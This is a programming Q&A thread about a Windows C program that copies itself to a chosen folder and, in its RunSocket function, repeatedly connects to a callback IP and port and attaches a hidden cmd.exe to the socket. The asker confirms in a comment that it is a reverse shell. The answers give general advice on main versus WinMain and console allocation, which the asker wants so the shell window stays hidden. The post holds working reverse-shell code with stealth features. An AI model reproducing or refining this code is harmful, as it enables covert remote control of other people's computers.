1

I have a program that I am creating that has two sides of it. The main execution (script.exe -setup) will open a console and ask the user multiple questions and then set the answers to variables and make adjustments to the machine based on the answers. This is a simple console application and it works fine if compiled as a Console application.

The second part of the script (script.exe -socket 192.168.1.1:9000) will start a WinMain function that then calls a socket function. The reason I put the socket function inside the WinMain is so it does not display the 'cmd.exe' that CreateProcess calls. It was flashing the command prompt so I got rid of it by using the WinMain. This only works as intended if compiled as a Win32 application, but then I am unable to run the setup side of the script.

I understand that when compiled as a console application it starts with the (int main()) function which is why it works. And when compiled as a Win32 it starts with the (WinMain()) function. However, I just need the application to start at Main as a Win32 Application.

int main(int argc, char *argv[]) { char filePath[150]; char fileName[30]; int portNum; char ip[16]; char socket[23]; if (argc == 1) { printf("Usage: File.exe setup OR File.exe -s IP:PORT"); exit(0); } else if (strcmp(argv[1], "setup") == 0) { printf("Doing Setup Stuff\n"); } else if (strcmp(argv[1], "-socket") == 0){ strncpy(socket, argv[2], 22); WinMain(0,0,socket,0); return 0; } else { printf("Usage: File.exe setup OR File.exe -socket IP:PORT"); exit(0); } printf("Desired File Location. Example: C:\\Test\n"); scanf("%149s", filePath); CheckDirectory(filePath); printf("\nDesired file name. Example: test.exe\n"); scanf("%29s", fileName); getchar(); CopyNewFile(filePath, fileName, argv[0]); printf("\nEnter callback IP:\n"); scanf("%15s", ip); printf("\nEnter callback port:\n"); scanf("%5d", &portNum); printf("Enter time in seconds for each callback: "); scanf("%10d", &secs); return 0; } int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) { char test[50]; strncpy(test, cmdline, 49); char *ip = strtok(test, ":"); char *port = strtok(NULL, ":"); RunSocket(ip, port); return 0; } void CopyNewFile(char *dir, char *fname, char *curName) { char fullDir[300]; char file[60]; sprintf(file,"%s", curName); sprintf(fullDir, "%s\\%s", dir, fname); if (CopyFile(file, fullDir, FALSE)) { printf("\nCopied new file!\n"); } else { printf("Did not copy!"); } } void CheckDirectory(char *d) { DIR* dir = opendir(d); char answer[2]; if (dir) { printf("Directory Exists!\n"); closedir(dir); } else if (ENOENT == errno) { printf("Directory does not exist. Do you want to create this directory? Y/N: "); scanf("%s", answer); if (strcmp(answer, "y") == 0) { if (CreateDirectory(d, NULL)) { printf("Created Directory!\n"); } else { printf("Error Creating Directory!"); exit(1); } } else { printf("Closing Script!"); exit(1); } } } void RunSocket(char *a, char *b) { while(1) { WSADATA wsaData; SOCKET Winsock; struct sockaddr_in hax; char ip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; WSAStartup(MAKEWORD(2,2), &wsaData); Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); struct hostent *host; host = gethostbyname(a); strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(atoi(b)); hax.sin_addr.s_addr =inet_addr(ip_addr); WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL); memset(&ini_processo, 0, sizeof(ini_processo)); ini_processo.cb=sizeof(ini_processo); ini_processo.dwFlags=STARTF_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info); Sleep(15000); } } 
2
  • The console is not the same thing as cmd.exe, you can have a console window without cmd.exe. CreateProcess creates a console window only. Commented Jan 25, 2018 at 14:06
  • The cmd.exe is opened on the connected-to computer. This is a reverse shell so it connects to me. I will just go to two files since it will be better. Commented Jan 25, 2018 at 14:29

2 Answers 2

5

It is either a Windows application and then WinMain is the user startup point, or is a console application and then main is the user startup point. You can of course call main from WinMain, or you can allocate a console for the functionality you normally perform from main.

The following allocates a console and sets up the standard file handles:

#ifndef _WIN32_WINNT # define _WIN32_WINNT 0x0501 #endif #include <windows.h> #include <wincon.h> #include <stdio.h> int GetConsole(void) { if (!AttachConsole(ATTACH_PARENT_PROCESS)) if (!AllocConsole()) return(0); _fileno(stdout)= _fileno(fopen("CON", "w")); _fileno(stdin) = _fileno(fopen("CON", "r")); _fileno(stderr)= _fileno(fopen("CON", "w")); return(1); } 
Sign up to request clarification or add additional context in comments.

2 Comments

I tried running this code and it gives me a error: ld returned 1 exit status. Also I have added the code to my script.
The example is part of a Windows application, not a console application, and mustr be called from (or after) the WinMain entry point.
1

There are only two differences between a CUI and a GUI PE application:

  • CreateProcess will create a new console window for a CUI application if the parent process does not already have one. This can be suppressed with the DETACHED_PROCESS flag.

  • Cmd.exe will wait for CUI applications, it will not wait for GUI applications unless you use start /wait.

main vs WinMain is controlled by your development environment, Windows (at the ABI level) just calls the (real) entry point function without any parameters. Your compiler provides the glue between this simple function and main/WinMain.

You can implement your own main from WinMain with CommandLineToArgvW and WinMain from main with FreeConsole+GetModuleHandle+GetCommandLine+GetStartupInfo.

  • If a briefly flashing console window killed by FreeConsole is unacceptable then you must create a GUI application.
  • If you want the application to act as a normal console application with stdin/stdout when started from cmd.exe then you must create a CUI application.

You can try to hack your way to both with a GUI application that calls AttachConsole+AllocConsole but the result is not perfect because cmd.exe does not wait before printing its next prompt and updating %errorlevel%.

To get the best of both worlds the best solution is actually to create two applications, "yourapp.com" and "yourapp.exe". The frontend application would just be a .exe renamed to .com and the server would be a .exe. This works because %PATHEXT% has .com before .exe.

1 Comment

I figured two files were the best options since this seems to be a little strange with what I am trying to do. Thank you.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.